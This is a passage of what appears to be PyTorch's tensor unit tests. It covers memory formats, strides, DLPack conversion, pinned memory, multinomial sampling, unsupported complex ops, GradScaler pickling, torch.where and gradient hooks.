lambda x, y: x.neg_(), lambda x, y: x.pow(3), lambda x, y: x.pow_(3), lambda x, y: x.pow(0.0), lambda x, y: x.pow(1.0), lambda x, y: x.reciprocal(), lambda x, y: x.remainder(2), lambda x, y: x.round(), lambda x, y: x.round_(), lambda x, y: x.rsqrt(), lambda x, y: x.rsqrt_(), lambda x, y: x.sigmoid(), lambda x, y: x.sigmoid_(), lambda x, y: x.logit(), lambda x, y: x.logit_(), lambda x, y: x.logit(1e-6), lambda x, y: x.logit_(1e-6), lambda x, y: x.sign(), lambda x, y: x.sign_(), lambda x, y: x.sgn(), lambda x, y: x.sgn_(), lambda x, y: x.sin(), lambda x, y: x.sin_(), lambda x, y: x.sinh(), lambda x, y: x.sinh_(), lambda x, y: x.sqrt(), lambda x, y: x.sqrt_(), lambda x, y: x.tan(), lambda x, y: x.tanh(), lambda x, y: x.trunc(), lambda x, y: x.trunc_(), _chunk_op, _unsqueeze_op_add, _unsqueeze_op_clone, ] for fn in fns: x_c = x.contiguous() y_c = y.contiguous() result_c = fn(x_c, y_c) result = fn(x, y) self.assertEqual(result, result_c) self.assertTrue( result.is_contiguous(memory_format=memory_format), "result of the '{}' is not in '{}' format".format(inspect.getsource(fn).strip(), memory_format)) for fn in bias_fns: x_c = x.contiguous() b_c = bias.contiguous() result_c = fn(x_c, b_c) result = fn(x, bias) self.assertEqual(result, result_c) self.assertTrue( result.is_contiguous(memory_format=memory_format), "result of the '{}' is not in '{}' format".format(inspect.getsource(fn).strip(), memory_format)) for fn in return_contig_fns: x_c = x.contiguous() y_c = y.contiguous() result_c = fn(x_c, y_c) result = fn(x, y) self.assertEqual(result, result_c) self.assertTrue( result.is_contiguous(memory_format=torch.contiguous_format), "result of the '{}' is not in '{}' format".format(inspect.getsource(fn).strip(), torch.contiguous_format)) _test_helper( torch.randn((4, 3, 8, 8), device=device).contiguous(memory_format=torch.channels_last), abs(torch.randn((4, 3, 8, 8), device=device)) + 1, torch.randn((1, 3, 1, 1), device=device).contiguous(memory_format=torch.channels_last), torch.channels_last) _test_helper( torch.randn((4, 3, 8, 8, 8), device=device).contiguous(memory_format=torch.channels_last_3d), abs(torch.randn((4, 3, 8, 8, 8), device=device)) + 1, torch.randn((1, 3, 1, 1, 1), device=device).contiguous(memory_format=torch.channels_last_3d), torch.channels_last_3d) def test_strides_propagation(self, device): def _test_helper(x, op, unary=False): def compare_strides(s1, s2, div): sdiv = [s // div for s in s1] self.assertEqual(sdiv, s2) dim = x.dim() # we produce memory dense outputs, so when input is strided on the last dimension # we need to divide by that dimension stride to compare input and result strides div = x.stride(-1) for p in permutations(range(dim)): xp = x.permute(p) if not unary: y = torch.randn(xp.size(-1), device=x.device, dtype=x.dtype) for inputs in ((xp, xp), (xp, y), (y, xp)): res = op(*inputs) compare_strides(xp.stride(), res.stride(), div) self.assertEqual(xp.size(), res.size()) out = torch.empty(0, device=xp.device, dtype=res.dtype) res = op(*inputs, out=out) compare_strides(xp.stride(), res.stride(), div) self.assertEqual(xp.size(), res.size()) else: res = op(xp) compare_strides(xp.stride(), res.stride(), div) self.assertEqual(xp.size(), res.size()) out = torch.empty(0, device=xp.device, dtype=res.dtype) res = op(xp, out=out) compare_strides(xp.stride(), res.stride(), div) self.assertEqual(xp.size(), res.size()) # torch.eq by default calls TensorIterator with defined output, torch.add with undefined binary_ops = (torch.eq, torch.add) unary_ops = (torch.exp,) # memory dense, sliced and ambiguous sliced (ambiguous dense loses permutation information) xs = (torch.randn(2, 3, 4, device=device), torch.randn(2, 3, 8, device=device)[:, :, ::2], torch.randn(1, 1, 4, 12, device=device)[:, :, :, ::2]) for op in binary_ops: for x in xs: _test_helper(x, op) for op in unary_ops: for x in xs: _test_helper(x, op, unary=True) @skipMeta @onlyOnCPUAndCUDA @dtypes(*get_all_dtypes(include_bool=False)) def test_dlpack_capsule_conversion(self, device, dtype): # DLpack does not explicitly support bool (xref dmlc/dlpack#75) x = make_tensor((5,), device, dtype) z = from_dlpack(to_dlpack(x)) self.assertEqual(z, x) @skipMeta @onlyOnCPUAndCUDA @dtypes(*get_all_dtypes(include_bool=False)) def test_dlpack_protocol_conversion(self, device, dtype): x = make_tensor((5,), device, dtype) z = from_dlpack(x) self.assertEqual(z, x) @skipMeta @onlyOnCPUAndCUDA def test_dlpack_shared_storage(self, device): x = make_tensor((5,), device, torch.float64) z = from_dlpack(to_dlpack(x)) z[0] = z[0] + 20.0 self.assertEqual(z, x) @skipMeta @onlyCUDA @dtypes(*get_all_dtypes(include_bool=False)) def test_dlpack_conversion_with_streams(self, device, dtype): # Create a stream where the tensor will reside stream = torch.cuda.Stream() with torch.cuda.stream(stream): # Do an operation in the actual stream x = make_tensor((5,), device, dtype) + 1 # DLPack protocol helps establish a correct stream order # (hence data dependency) at the exchange boundary. # DLPack manages this synchronization for us, so we don't need to # explicitly wait until x is populated stream = torch.cuda.Stream() with torch.cuda.stream(stream): z = from_dlpack(x) stream.synchronize() self.assertEqual(z, x) @skipMeta @onlyCUDA @dtypes(*get_all_dtypes(include_bool=False)) def test_dlpack_conversion_with_diff_streams(self, device, dtype): from torch._C import _from_dlpack stream_a = torch.cuda.Stream() stream_b = torch.cuda.Stream() # DLPack protocol helps establish a correct stream order # (hence data dependency) at the exchange boundary. # the `tensor.__dlpack__` method will insert a synchronization event # in the current stream to make sure that it was correctly populated. with torch.cuda.stream(stream_a): x = make_tensor((5,), device, dtype) + 1 z = _from_dlpack(x.__dlpack__(stream_b.cuda_stream)) stream_a.synchronize() stream_b.synchronize() self.assertEqual(z, x) @skipMeta @onlyOnCPUAndCUDA @dtypes(*get_all_dtypes(include_bool=False)) def test_dlpack_tensor_invalid_stream(self, device, dtype): with self.assertRaises(TypeError): x = make_tensor((5,), device, dtype) x.__dlpack__(stream=object()) @skipMeta def test_dlpack_error_on_bool_tensor(self): x = torch.tensor([True], dtype=torch.bool) with self.assertRaises(RuntimeError): to_dlpack(x) # TODO: increase tests once NumPy supports the `__dlpack__` protocol @skipMeta def test_dlpack_export_requires_grad(self): x = torch.zeros(10, dtype=torch.float32, requires_grad=True) with self.assertRaisesRegex(RuntimeError, r"require gradient"): x.__dlpack__() @skipMeta def test_dlpack_export_is_conj(self): x = torch.tensor([-1 + 1j, -2 + 2j, 3 - 3j]) y = torch.conj(x) with self.assertRaisesRegex(RuntimeError, r"conjugate bit"): y.__dlpack__() @skipMeta def test_dlpack_export_non_strided(self): x = torch.sparse_coo_tensor([[0]], [1], size=(1,)) y = torch.conj(x) with self.assertRaisesRegex(RuntimeError, r"strided"): y.__dlpack__() @onlyCUDA @unittest.skipIf(PYTORCH_CUDA_MEMCHECK, "is_pinned uses failure to detect pointer property") def test_pin_memory_from_constructor(self, device): def _get_like(t, **kwargs): return [ torch.rand_like(t, **kwargs), torch.randn_like(t, **kwargs), torch.empty_like(t, **kwargs), torch.full_like(t, 4, **kwargs), torch.zeros_like(t, **kwargs), torch.ones_like(t, **kwargs), ] def _get_tensors(**kwargs): return [ torch.tensor([10, 11], **kwargs), torch.randn(3, 5, **kwargs), torch.rand(3, **kwargs), # torch.randint(3, 5, **kwargs), // unsupported torch.zeros(3, **kwargs), torch.randperm(3, **kwargs), torch.empty(6, **kwargs), torch.ones(6, **kwargs), torch.eye(6, **kwargs), torch.arange(3, 5, **kwargs)] pinned_tensors = _get_tensors(pin_memory=True) + _get_like(torch.empty(5, dtype=torch.float64), pin_memory=True) for x in pinned_tensors: self.assertTrue(x.is_pinned()) tensors = _get_tensors() + _get_like(torch.empty(5, dtype=torch.float64, pin_memory=True)) for x in tensors: self.assertFalse(x.is_pinned()) def test_storage_device(self, device): x = torch.tensor([], device=device) self.assertEqual(x.dtype, x.storage().dtype) @deviceCountAtLeast(2) @onlyCUDA def test_storage_multigpu(self, devices): for device in devices: x = torch.tensor([], device=device) self.assertEqual(x.dtype, x.storage().dtype) @dtypesIfCUDA(torch.float, torch.double, torch.half) @dtypes(torch.float, torch.double) def test_multinomial(self, device, dtype): def make_prob_dist(shape, is_contiguous): if is_contiguous: if dtype == torch.half: return torch.zeros(shape, device=device).uniform_().to(dtype=torch.half) return torch.zeros(shape, device=device, dtype=dtype).uniform_() elif len(shape) == 1: if dtype == torch.half: return torch.zeros((shape + [5]), device=device).uniform_().to(dtype=torch.half)[:, 2] return torch.zeros((shape + [5]), device=device, dtype=dtype).uniform_()[:, 2] else: # num dim = 2 new_shape = [2, shape[1], 7, 1, shape[0], 1, 10] if dtype == torch.half: prob_dist = torch.zeros(new_shape, device=device).uniform_().to(dtype=torch.half) else: prob_dist = torch.zeros(new_shape, device=device, dtype=dtype).uniform_() prob_dist = prob_dist.transpose(1, 4) prob_dist = prob_dist[1, :, 5, 0, :, 0, 4] assert not prob_dist.is_contiguous() # sanity check return prob_dist for is_contiguous in (True, False): # with replacement n_row = 3 for n_col in range(4, 5 + 1): prob_dist = make_prob_dist([n_row, n_col], is_contiguous) # indices that shouldn't be sampled (<0 means none) zero_prob_indices = torch.LongTensor(n_row).random_(-2, n_col).tolist() for i, j in enumerate(zero_prob_indices): if j >= 0: prob_dist[i, j] = 0 n_sample = n_col * 3 sample_indices = torch.multinomial(prob_dist, n_sample, True) self.assertEqual(prob_dist.dim(), 2) self.assertEqual(sample_indices.size(1), n_sample) for i in range(n_row): zero_prob_idx = zero_prob_indices[i] if zero_prob_idx < 0: continue for j in range(n_sample): self.assertNotEqual(sample_indices[i, j], zero_prob_idx, msg="sampled an index with zero probability") # without replacement n_row = 3 for n_col in range(2, 10 + 1, 2): prob_dist = make_prob_dist([n_row, n_col], is_contiguous) # indices that shouldn't be sampled (<0 means none) zero_prob_indices = torch.LongTensor(n_row).random_(-1, n_col).tolist() for i, j in enumerate(zero_prob_indices): if j >= 0: prob_dist[i, j] = 0 n_sample = max(1, n_col - 2) sample_indices = torch.multinomial(prob_dist, n_sample, False) self.assertEqual(prob_dist.dim(), 2) self.assertEqual(sample_indices.size(1), n_sample) for i in range(n_row): row_samples = {} zero_prob_idx = zero_prob_indices[i] for j in range(n_sample): sample_idx = sample_indices[i, j] if zero_prob_idx >= 0: self.assertNotEqual(sample_idx, zero_prob_idx, msg="sampled an index with zero probability") self.assertNotIn(sample_idx, row_samples, "sampled an index twice") row_samples[sample_idx] = True # vector n_col = 4 prob_dist = make_prob_dist([n_col], is_contiguous).fill_(1) zero_prob_idx = 1 # index that shouldn't be sampled prob_dist[zero_prob_idx] = 0 n_sample = 20 sample_indices = torch.multinomial(prob_dist, n_sample, True) for sample_index in sample_indices: self.assertNotEqual(sample_index, zero_prob_idx, msg="sampled an index with zero probability") s_dim = sample_indices.dim() self.assertEqual(sample_indices.dim(), 1, msg="wrong number of dimensions") self.assertEqual(prob_dist.dim(), 1, msg="wrong number of prob_dist dimensions") self.assertEqual(sample_indices.size(0), n_sample, msg="wrong number of samples") # CUDA misalignment issue (#46702) n_row, n_col = 2, 3 prob_dist = make_prob_dist([n_row, n_col], True) n_sample = 1 sample_indices = torch.multinomial(prob_dist, n_sample, True) self.assertEqual(sample_indices.dim(), 2, msg="wrong number of dimensions") self.assertEqual(sample_indices.size(1), n_sample, msg="wrong number of samples") @onlyCUDA @dtypes(torch.float, torch.double, torch.half) def test_multinomial_deterministic(self, device, dtype): gen = torch.Generator(device=device) trials = 5 seed = 0 prob_dist = torch.rand(10000, 1000, device=device, dtype=dtype) n_sample = 1 for i in range(trials): gen.manual_seed(seed) samples_1 = torch.multinomial(prob_dist, n_sample, True, generator=gen) gen.manual_seed(seed) samples_2 = torch.multinomial(prob_dist, n_sample, True, generator=gen) self.assertEqual(samples_1, samples_2) self.assertEqual(samples_1.dim(), 2, msg="wrong number of dimensions") self.assertEqual(samples_1.size(1), n_sample, msg="wrong number of samples") @slowTest @dtypes(torch.float) def test_multinomial_rng_state_advance(self, device, dtype): corpus_size = 100000 freqs = torch.ones(corpus_size, dtype=torch.float, device=device) n_sample = 100 samples1 = torch.multinomial(freqs, n_sample, replacement=True) samples2 = torch.multinomial(freqs, n_sample, replacement=True) samples = torch.cat([samples1, samples2]) # expect no more than 1 repeating elements generated in 2 attempts # the probability of at least element being repeated is surprisingly large, 18% self.assertLessEqual(2 * n_sample - samples.unique().size(0), 2) samples1 = torch.multinomial(freqs, n_sample, replacement=False) samples2 = torch.multinomial(freqs, n_sample, replacement=False) samples = torch.cat([samples1, samples2]) # expect no more than 1 repeating elements generated in 2 attempts self.assertLessEqual(2 * n_sample - samples.unique().size(0), 1) def _test_memory_format_transformations(self, device, input_generator_fn, transformation_fn, memory_format, compare_data=True, default_is_preserve=False): assert(memory_format == torch.channels_last or memory_format == torch.channels_last_3d) # xc is a channels last tensor xc = input_generator_fn(device) # xc is not memory dense, but looks like channels last if memory_format == torch.channels_last: xc = xc[..., ::2, ::2] else: xc = xc[..., ::2, ::2, ::2] clone = transformation_fn(xc, memory_format=torch.preserve_format) self.assertFalse(clone.is_contiguous()) self.assertTrue(clone.is_contiguous(memory_format=memory_format)) self.assertFalse(xc.is_contiguous()) self.assertFalse(xc.is_contiguous(memory_format=memory_format)) if compare_data: self.assertEqual(xc, clone.to(xc)) xc = input_generator_fn(device) clone = transformation_fn(xc, memory_format=torch.contiguous_format) self.assertTrue(clone.is_contiguous()) self.assertFalse(clone.is_contiguous(memory_format=memory_format)) if compare_data: self.assertEqual(xc, clone.to(xc)) xc = input_generator_fn(device) clone = transformation_fn(xc) if default_is_preserve: self.assertFalse(clone.is_contiguous()) self.assertTrue(clone.is_contiguous(memory_format=memory_format)) else: self.assertTrue(clone.is_contiguous()) self.assertFalse(clone.is_contiguous(memory_format=memory_format)) if compare_data: self.assertEqual(xc, clone.to(xc)) x = torch.randn((3, 4, 5, 6, 7, 8, 9), device=device) for _ in range(10): permutation = list(range(len(x.shape))) random.shuffle(permutation) x = x.permute(permutation) self.assertEqual(x.stride(), transformation_fn(x, memory_format=torch.preserve_format).stride()) def test_memory_format_to(self, device): def get_generator(memory_format, shape): def input_generator_fn(device): return torch.randn(shape, device=device, dtype=torch.float32).contiguous(memory_format=memory_format) return input_generator_fn def transformation_fn(tensor, **kwargs): return tensor.to(dtype=torch.float64, **kwargs) formats_shapes = ( (torch.channels_last, (4, 3, 8, 8)), (torch.channels_last_3d, (4, 3, 8, 8, 8))) for mf, shape in formats_shapes: self._test_memory_format_transformations( device, get_generator(mf, shape), transformation_fn, mf, default_is_preserve=True) def test_memory_format_type(self, device): def get_generator(memory_format, shape): def input_generator_fn(device): return torch.randn(shape, device=device, dtype=torch.float32).contiguous(memory_format=memory_format) return input_generator_fn def transformation_fn(tensor, **kwargs): return tensor.to(torch.float64, **kwargs) formats_shapes = ( (torch.channels_last, (4, 3, 8, 8)), (torch.channels_last_3d, (4, 3, 8, 8, 8))) for mf, shape in formats_shapes: self._test_memory_format_transformations( device, get_generator(mf, shape), transformation_fn, mf, default_is_preserve=True) def test_memory_format_clone(self, device): def get_generator(memory_format, shape): def input_generator_fn(device): return torch.randn(shape, device=device, dtype=torch.float32).contiguous(memory_format=memory_format) return input_generator_fn def transformation_fn(tensor, **kwargs): return tensor.clone(**kwargs) formats_shapes = ( (torch.channels_last, (4, 3, 8, 8)), (torch.channels_last_3d, (4, 3, 8, 8, 8))) for mf, shape in formats_shapes: self._test_memory_format_transformations( device, get_generator(mf, shape), transformation_fn, mf, True, default_is_preserve=True) def test_memory_format_factory_like_functions_preserve(self, device): def get_generator(memory_format, shape): def input_generator_fn(device): return torch.randn(shape, device=device, dtype=torch.float32).contiguous(memory_format=memory_format) return input_generator_fn transformation_fns = [ lambda t, **kwargs: torch.zeros_like(t, **kwargs), lambda t, **kwargs: torch.ones_like(t, **kwargs), lambda t, **kwargs: torch.randint_like(t, 10, 100, **kwargs), lambda t, **kwargs: torch.randint_like(t, 100, **kwargs), lambda t, **kwargs: torch.randn_like(t, **kwargs), lambda t, **kwargs: torch.rand_like(t, **kwargs), lambda t, **kwargs: torch.full_like(t, 7, **kwargs), lambda t, **kwargs: torch.empty_like(t, **kwargs)] formats_shapes = ( (torch.channels_last, (4, 3, 8, 8)), (torch.channels_last_3d, (4, 3, 8, 8, 8))) for mf, shape, in formats_shapes: for transformation_fn in transformation_fns: self._test_memory_format_transformations( device, get_generator(mf, shape), transformation_fn, mf, compare_data=False, default_is_preserve=True) def test_memory_format_type_shortcuts(self, device): def get_generator(memory_format, shape, dtype): def input_generator_fn(device): return torch.randn(shape, device=device, dtype=dtype).clamp(0, 1) \ .round().contiguous(memory_format=memory_format) return input_generator_fn def get_fn(fn_name): def transformation_fn(tensor, **kwargs): fn = getattr(tensor, fn_name) return fn(**kwargs) return transformation_fn shortcuts = ['byte', 'char', 'double', 'bool', 'half', 'int', 'long', 'short'] if device == 'cpu': shortcuts += ['bfloat16'] formats_shapes = ( (torch.channels_last, (4, 3, 8, 8)), (torch.channels_last_3d, (4, 3, 8, 8, 8))) for mf, shape in formats_shapes: for fn_name in shortcuts: self._test_memory_format_transformations( device, get_generator(mf, shape, torch.float32), get_fn(fn_name), mf, default_is_preserve=True) # Test 'float' separately to avoid float->float no-op. for mf, shape in formats_shapes: self._test_memory_format_transformations( device, get_generator(mf, shape, torch.float64), get_fn('float'), mf, default_is_preserve=True) @onlyCUDA def test_memory_format_cpu_and_cuda_ops(self, device): def get_generator(memory_format, shape): def input_generator_fn(device): return torch.randn(shape, device=device, dtype=torch.float32).contiguous(memory_format=memory_format) return input_generator_fn def transformation_cpu_fn(tensor, **kwargs): return tensor.cpu(**kwargs) def transformation_cuda_fn(tensor, **kwargs): return tensor.cuda(**kwargs) formats_shapes = ( (torch.channels_last, (4, 3, 8, 8)), (torch.channels_last_3d, (4, 3, 8, 8, 8))) for mf, shape in formats_shapes: self._test_memory_format_transformations( 'cuda', get_generator(mf, shape), transformation_cpu_fn, mf, default_is_preserve=True) self._test_memory_format_transformations( 'cpu', get_generator(mf, shape), transformation_cuda_fn, mf, default_is_preserve=True) @dtypes(torch.complex64, torch.complex128) def test_complex_unsupported(self, device, dtype): t = torch.tensor((1 + 1j), device=device, dtype=dtype) # Note: this is consistent with NumPy with self.assertRaises(RuntimeError): torch.floor(t) with self.assertRaises(RuntimeError): torch.ceil(t) with self.assertRaises(RuntimeError): torch.trunc(t) # Tests min and max variants with complex inputs # Note: whether PyTorch should support min and max on complex # tensors is an open question. # See https://github.com/pytorch/pytorch/issues/36374 with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.min(t) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): t.min() with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.min(t, dim=0) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.min(t, t) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.min(t, t, out=t) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.max(t) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): t.max() with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.max(t, dim=0) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.max(t, t) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.max(t, t, out=t) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.amin(t) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): t.amin() with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.amin(t, dim=0) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.amax(t) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): t.amax() with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.amax(t, dim=0) # Tests _aminmax() variants with complex inputs, # which are currently not supported due to min & max being unsupported # for complex inputs, as per https://github.com/pytorch/pytorch/issues/36374 # Test with a single-element tensor t, as well as a multi-element tensor x with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): min_val, max_val = torch._aminmax(t) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): min_val = torch._aminmax(t, dim=0)[0] with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): max_val = torch._aminmax(t, dim=0)[1] # Test _aminmax() with a multi-element tensor x = torch.tensor([(1 + 1j), (2 + 3j)], device=device, dtype=dtype) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): min_val, max_val = torch._aminmax(x) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): min_val = torch._aminmax(x, dim=0)[0] with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): max_val = torch._aminmax(x, dim=0)[1] # Tests clamp variants with complex inputs # Note: whether PyTorch should support clamp on complex # tensors is an open question. # See https://github.com/pytorch/pytorch/issues/33568 min_val = 1 + 1j max_val = 4 + 4j out = torch.empty((0,), device=device, dtype=dtype) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.clamp(t, min=min_val) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.clamp(t, max=max_val) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.clamp(t, min_val, max_val) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.clamp(t, min=min_val, out=out) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.clamp(t, max=max_val, out=out) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.clamp(t, min_val, max_val, out=out) def test_pickle_gradscaler(self, device): # This test is not in test_cuda.py because it should pass in 3 cases: # 1. cuda is not available. # 2. cuda is available but device is not cuda. # 3. cuda is available and device is cuda. # In case 1, a and b disable themselves on construction and shouldn't try to pickle workhorse attributes. # In case 2, a and b are enabled. Workhorse attributes participate in pickling, but none are lazy-inited # to cuda Tensors, because I don't want to do cuda things if device is not cuda. # In case 3, a and b are enabled and we may also try lazy-initing _scale to a cuda tensor. device = torch.device(device) try_lazy_inits = (True, False) if device.type == "cuda" else (False,) for lazy_init_scale in try_lazy_inits: a = torch.cuda.amp.GradScaler(init_scale=3., growth_factor=4., backoff_factor=.5, growth_interval=2) self.assertTrue(not a.is_enabled() if torch.cuda.amp.common.amp_definitely_not_available() else a.is_enabled()) if lazy_init_scale: # Dummy a.scale() call lazy-inits a._scale Tensor. a.scale(torch.tensor([4.0], dtype=torch.float32, device=device)) self.assertTrue(isinstance(a._scale, torch.cuda.FloatTensor)) # The following three lines should work whether or not cuda is available. serialized = pickle.dumps(a) b = pickle.loads(serialized) self.assertEqual(b.is_enabled(), a.is_enabled()) if a.is_enabled(): self.assertEqual(b.get_scale(), 3.) self.assertEqual(b.get_growth_factor(), 4.) self.assertEqual(b.get_backoff_factor(), .5) self.assertEqual(b.get_growth_interval(), 2) self.assertEqual(b._init_growth_tracker, 0) # supplies a dummy key to test the defaultdict's default_factory self.assertEqual(b._per_optimizer_states["fdsa"], torch.cuda.amp.grad_scaler._refresh_per_optimizer_state()) if lazy_init_scale: self.assertEqual(b.scale(torch.tensor([4.0], dtype=torch.float32, device=device)), 12.0) def test_multinomial_invalid(self, device): def test(probs): with self.assertRaisesRegex(RuntimeError, 'probability tensor contains either `inf`, `nan` or element < 0'): torch.multinomial(probs.to(device), 2) torch.cuda.synchronize() test(torch.tensor([1., -1., 1.])) test(torch.tensor([1., inf, 1.])) test(torch.tensor([1., -inf, 1.])) test(torch.tensor([1., 1., nan])) def test_multinomial_invalid_distribution(self, device): def test(probs, replacement): with self.assertRaisesRegex(RuntimeError, r"invalid multinomial distribution \(sum of probabilities <= 0\)"): torch.multinomial(probs, 2, replacement) torch.cuda.synchronize() x = torch.zeros(3, device=device) y = torch.zeros(3, 3, device=device) z = torch.zeros(3, 3, device=device) z[1, :] = 1 test(x, False) test(y, False) test(z, False) # Verify only for CPU as replacement=True # throws device side assert triggered. if self.device_type == 'cpu': test(x, True) test(y, True) test(z, True) def _test_multinomial_empty(self, device, replacement, num_samples): probs = torch.ones(0, 3, device=device) expected = torch.empty(0, num_samples, dtype=torch.int64) out = torch.multinomial(probs, num_samples=num_samples, replacement=replacement) self.assertEqual(out, expected) def test_multinomial_empty_w_replacement(self, device): self._test_multinomial_empty(device, True, 1) self._test_multinomial_empty(device, True, 2) def test_multinomial_empty_wo_replacement(self, device): self._test_multinomial_empty(device, False, 1) self._test_multinomial_empty(device, False, 2) def _generate_input(self, shape, dtype, device, with_extremal): if shape == (): x = torch.tensor((), dtype=dtype, device=device) else: if dtype.is_floating_point or dtype.is_complex: # work around torch.randn not being implemented for bfloat16 if dtype == torch.bfloat16: x = torch.randn(*shape, device=device) * random.randint(30, 100) x = x.to(torch.bfloat16) else: x = torch.randn(*shape, dtype=dtype, device=device) * random.randint(30, 100) x[torch.randn(*shape) > 0.5] = 0 if with_extremal and dtype.is_floating_point: # Use extremal values x[torch.randn(*shape) > 0.5] = float('nan') x[torch.randn(*shape) > 0.5] = float('inf') x[torch.randn(*shape) > 0.5] = float('-inf') elif with_extremal and dtype.is_complex: x[torch.randn(*shape) > 0.5] = complex('nan') x[torch.randn(*shape) > 0.5] = complex('inf') x[torch.randn(*shape) > 0.5] = complex('-inf') elif dtype == torch.bool: x = torch.zeros(shape, dtype=dtype, device=device) x[torch.randn(*shape) > 0.5] = True else: x = torch.randint(15, 100, shape, dtype=dtype, device=device) return x def _test_where_scalar_template(self, device, dtype, exec_fn): for with_extremal in [True, False]: for ndims in range(0, 4): shape = self._rand_shape(ndims, min_size=5, max_size=10) for n in range(ndims + 1): for c in combinations(list(range(ndims)), n): for scalar_type in [int, float, complex]: if dtype.is_complex: condition = self._generate_input(shape, dtype, device, with_extremal).abs() > 0.5 else: condition = self._generate_input(shape, dtype, device, with_extremal) > 0.5 x = self._generate_input(shape, dtype, device, with_extremal) if not dtype.is_complex and scalar_type == complex: continue scalar_1 = scalar_type(random.random()) exec_fn(scalar_type, dtype, condition, x, scalar_1) # For current implementation, # below are the valid `TensorDtype` and `ScalarType` combinations. def _where_valid_scalar_tensor_combination(self, scalar_type, dtype): if (scalar_type == int and dtype == torch.long): return True elif (scalar_type == float and dtype == torch.double): return True elif (scalar_type == complex and dtype == torch.complex128): return True return False @onlyOnCPUAndCUDA @dtypes(*(get_all_int_dtypes() + get_all_fp_dtypes() + get_all_complex_dtypes())) def test_where_scalar_invalid_combination_raises(self, device, dtype): def checkRaises(scalar_type, dtype, condition, x, scalar_1): if not self._where_valid_scalar_tensor_combination(scalar_type, dtype): # Note: This should fail once `where` supports type promotion. with self.assertRaisesRegex(RuntimeError, "expected scalar type"): torch.where(condition, x, scalar_1) self._test_where_scalar_template(device, dtype, checkRaises) @skipCUDAVersionIn([(11, 2)]) # test fails for 11.2, see https://github.com/pytorch/pytorch/issues/51980 @dtypes(*(get_all_int_dtypes() + get_all_fp_dtypes() + get_all_complex_dtypes())) def test_where_scalar_valid_combination(self, device, dtype): def checkResult(scalar_type, dtype, condition, x, scalar_1): if self._where_valid_scalar_tensor_combination(scalar_type, dtype): def x_like(scalar, without_dtype=False): return torch.tensor(scalar, dtype=dtype, device=device).expand_as(x) # X = Tensor, Y = Scalar scalar_out = torch.where(condition, x, scalar_1) tensor_out = torch.where(condition, x, x_like(scalar_1)) self.assertEqual(scalar_out, tensor_out) # X = Scalar, Y = Tensor scalar_out = torch.where(condition, scalar_1, x) tensor_out = torch.where(condition, x_like(scalar_1), x) self.assertEqual(scalar_out, tensor_out) self._test_where_scalar_template(device, dtype, checkResult) # As the test fails with Runtime Error not raised on XLA @onlyOnCPUAndCUDA def test_where_scalar_scalar(self, device): # Scalar-Scalar Version height = 5 width = 5 default_dtype = torch.get_default_dtype() for test_default_dtype in [torch.float, torch.double]: torch.set_default_dtype(test_default_dtype) for scalar_type_1 in [int, float, complex]: for scalar_type_2 in [int, float, complex]: x1 = scalar_type_1(random.random() * random.randint(10, 20)) x2 = scalar_type_2(random.random() * random.randint(20, 30)) condition = torch.randn(height, width, device=device) > 0.5 if scalar_type_1 != scalar_type_2: self.assertRaisesRegex(RuntimeError, "expected scalar type", lambda: torch.where(condition, x1, x2)) else: def get_dtype(scalar_type): complex_dtype = torch.complex64 if torch.float == torch.get_default_dtype() else torch.complex128 type_map = {int: torch.long, float: torch.get_default_dtype(), complex: complex_dtype} return type_map[scalar_type] expected = torch.zeros((height, width), dtype=get_dtype(scalar_type_1)) expected[condition] = x1 expected[~condition] = x2 result = torch.where(condition, x1, x2) self.assertEqual(expected, result) # Reset the original dtype torch.set_default_dtype(default_dtype) def test_hook_remove(self, device): # Reference: https://github.com/pytorch/pytorch/issues/58354 def _test_helper(remove_hook): def install_hook(tensor): handle = None def hook(tensor): if remove_hook: handle.remove() return torch.zeros_like(tensor) handle = tensor.register_hook(hook) t = torch.ones((1, 5), device=device, requires_grad=True) install_hook(t) # First call to backward t.mean().backward() self.assertEqual(t.grad, torch.zeros_like(t)) # Second call to backward t.mean().backward() if remove_hook: # After removing the hook, make sure the usual gradient is returned self.assertEqual(t.grad, 0.2 * torch.ones_like(t)) else: self.assertEqual(t.grad, torch.zeros_like(t)) _test_helper(remove_hook=True) _test_helper(remove_hook=False) # Tests that compare a device's computation with the (gold-standard) CPU's. class TestDevicePrecision(TestCase): exact_dtype = True @onlyCUDA def test_index_add_bfloat16(self, device): 